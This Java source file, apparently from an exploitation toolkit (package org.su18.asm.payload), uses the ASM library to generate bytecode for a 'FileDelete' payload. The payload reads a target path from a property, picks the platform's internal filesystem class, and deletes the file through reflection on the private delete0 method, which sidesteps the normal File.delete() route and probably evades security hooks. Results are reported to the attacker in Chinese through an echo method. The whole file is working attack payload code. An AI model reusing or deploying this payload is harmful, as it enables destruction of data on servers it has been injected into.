package org.su18.asm.payload;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.su18.utils.StringUtil;

public class FileDelete implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {
		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/ClassNotFoundException");
		Label label3 = new Label();
		Label label4 = new Label();
		Label label5 = new Label();
		mv.visitTryCatchBlock(label3, label4, label5, "java/lang/Exception");
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
		mv.visitLabel(label3);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("delete.file.path"));
		mv.visitVarInsn(ASTORE, 1);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitLdcInsn("os.name");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/System", "getProperty", "(Ljava/lang/String;)Ljava/lang/String;", false);
		mv.visitVarInsn(ASTORE, 2);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitLdcInsn("Win");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "startsWith", "(Ljava/lang/String;)Z", false);
		mv.visitVarInsn(ISTORE, 3);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitLdcInsn("java.io.Win32FileSystem");
		mv.visitVarInsn(ASTORE, 4);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitVarInsn(ILOAD, 3);
		Label label11 = new Label();
		mv.visitJumpInsn(IFEQ, label11);
		mv.visitLabel(label0);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitInsn(POP);
		mv.visitLabel(label1);
		Label label12 = new Label();
		mv.visitJumpInsn(GOTO, label12);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_FULL, 5, new Object[]{className, "java/lang/String", "java/lang/String", Opcodes.INTEGER, "java/lang/String"}, 1, new Object[]{"java/lang/ClassNotFoundException"});
		mv.visitVarInsn(ASTORE, 5);
		Label label13 = new Label();
		mv.visitLabel(label13);
		mv.visitLdcInsn("java.io.WinNTFileSystem");
		mv.visitVarInsn(ASTORE, 4);
		Label label14 = new Label();
		mv.visitLabel(label14);
		mv.visitJumpInsn(GOTO, label12);
		mv.visitLabel(label11);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitLdcInsn("java.io.UnixFileSystem");
		mv.visitVarInsn(ASTORE, 4);
		mv.visitLabel(label12);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitTypeInsn(NEW, "java/io/File");
		mv.visitInsn(DUP);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/File", "<init>", "(Ljava/lang/String;)V", false);
		mv.visitVarInsn(ASTORE, 5);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/File", "exists", "()Z", false);
		Label label16 = new Label();
		mv.visitJumpInsn(IFNE, label16);
		Label label17 = new Label();
		mv.visitLabel(label17);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("\u6587\u4ef6\u6216\u76ee\u5f55\u4e0d\u5b58\u5728\uff01");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitJumpInsn(GOTO, label4);
		mv.visitLabel(label16);
		mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"java/io/File"}, 0, null);
		mv.visitLdcInsn("java.io.File");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 6);
		Label label18 = new Label();
		mv.visitLabel(label18);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitLdcInsn("fs");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 7);
		Label label19 = new Label();
		mv.visitLabel(label19);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label20 = new Label();
		mv.visitLabel(label20);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitLdcInsn("path");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 8);
		Label label21 = new Label();
		mv.visitLabel(label21);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label22 = new Label();
		mv.visitLabel(label22);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "set", "(Ljava/lang/Object;Ljava/lang/Object;)V", false);
		Label label23 = new Label();
		mv.visitLabel(label23);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitLdcInsn("prefixLength");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 9);
		Label label24 = new Label();
		mv.visitLabel(label24);
		mv.visitVarInsn(ALOAD, 9);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label25 = new Label();
		mv.visitLabel(label25);
		mv.visitVarInsn(ALOAD, 9);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(ICONST_0);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "charAt", "(I)C", false);
		mv.visitIntInsn(BIPUSH, 47);
		Label label26 = new Label();
		mv.visitJumpInsn(IF_ICMPNE, label26);
		mv.visitInsn(ICONST_1);
		Label label27 = new Label();
		mv.visitJumpInsn(GOTO, label27);
		mv.visitLabel(label26);
		mv.visitFrame(Opcodes.F_FULL, 10, new Object[]{className, "java/lang/String", "java/lang/String", Opcodes.INTEGER, "java/lang/String", "java/io/File", "java/lang/Class", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/reflect/Field"}, 2, new Object[]{"java/lang/reflect/Field", "java/io/File"});
		mv.visitInsn(ICONST_0);
		mv.visitLabel(label27);
		mv.visitFrame(Opcodes.F_FULL, 10, new Object[]{className, "java/lang/String", "java/lang/String", Opcodes.INTEGER, "java/lang/String", "java/io/File", "java/lang/Class", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/reflect/Field"}, 3, new Object[]{"java/lang/reflect/Field", "java/io/File", Opcodes.INTEGER});
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setInt", "(Ljava/lang/Object;I)V", false);
		Label label28 = new Label();
		mv.visitLabel(label28);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 10);
		Label label29 = new Label();
		mv.visitLabel(label29);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitLdcInsn("delete0");
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitLdcInsn(Type.getType("Ljava/io/File;"));
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 11);
		Label label30 = new Label();
		mv.visitLabel(label30);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label31 = new Label();
		mv.visitLabel(label31);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitInsn(POP);
		Label label32 = new Label();
		mv.visitLabel(label32);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
		mv.visitLdcInsn("\u6587\u4ef6\uff1a");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn(" ");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/File", "exists", "()Z", false);
		Label label33 = new Label();
		mv.visitJumpInsn(IFEQ, label33);
		mv.visitLdcInsn("\u5220\u9664\u5931\u8d25");
		Label label34 = new Label();
		mv.visitJumpInsn(GOTO, label34);
		mv.visitLabel(label33);
		mv.visitFrame(Opcodes.F_FULL, 12, new Object[]{className, "java/lang/String", "java/lang/String", Opcodes.INTEGER, "java/lang/String", "java/io/File", "java/lang/Class", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/Class", "java/lang/reflect/Method"}, 2, new Object[]{className, "java/lang/StringBuilder"});
		mv.visitLdcInsn("\u5df2\u7ecf\u88ab\u5220\u9664");
		mv.visitLabel(label34);
		mv.visitFrame(Opcodes.F_FULL, 12, new Object[]{className, "java/lang/String", "java/lang/String", Opcodes.INTEGER, "java/lang/String", "java/io/File", "java/lang/Class", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/Class", "java/lang/reflect/Method"}, 3, new Object[]{className, "java/lang/StringBuilder", "java/lang/String"});
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label4);
		mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{});
		Label label35 = new Label();
		mv.visitJumpInsn(GOTO, label35);
		mv.visitLabel(label5);
		mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 1);
		Label label36 = new Label();
		mv.visitLabel(label36);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("\u6267\u884c\u8fc7\u7a0b\u51fa\u9519\uff0c\u52a8\u4f5c\u53ef\u80fd\u6267\u884c\u5931\u8d25\uff01");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label35);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKEVIRTUAL, className, "echo", "()V", false);
		Label label37 = new Label();
		mv.visitLabel(label37);
		mv.visitInsn(RETURN);
		Label label38 = new Label();
		mv.visitLabel(label38);
		mv.visitLocalVariable("e", "Ljava/lang/ClassNotFoundException;", null, label13, label14, 5);
		mv.visitLocalVariable("f", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label18, label4, 6);
		mv.visitLocalVariable("field", "Ljava/lang/reflect/Field;", null, label19, label4, 7);
		mv.visitLocalVariable("field1", "Ljava/lang/reflect/Field;", null, label21, label4, 8);
		mv.visitLocalVariable("field2", "Ljava/lang/reflect/Field;", null, label24, label4, 9);
		mv.visitLocalVariable("fs", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label29, label4, 10);
		mv.visitLocalVariable("m", "Ljava/lang/reflect/Method;", null, label30, label4, 11);
		mv.visitLocalVariable("target", "Ljava/lang/String;", null, label7, label4, 1);
		mv.visitLocalVariable("osName", "Ljava/lang/String;", null, label8, label4, 2);
		mv.visitLocalVariable("isWin", "Z", null, label9, label4, 3);
		mv.visitLocalVariable("fileSystemClass", "Ljava/lang/String;", null, label10, label4, 4);
		mv.visitLocalVariable("file", "Ljava/io/File;", null, label15, label4, 5);
		mv.visitLocalVariable("ignored", "Ljava/lang/Exception;", null, label36, label35, 1);
		mv.visitLocalVariable("this", "L" + className + ";", null, label6, label38, 0);
	}

}
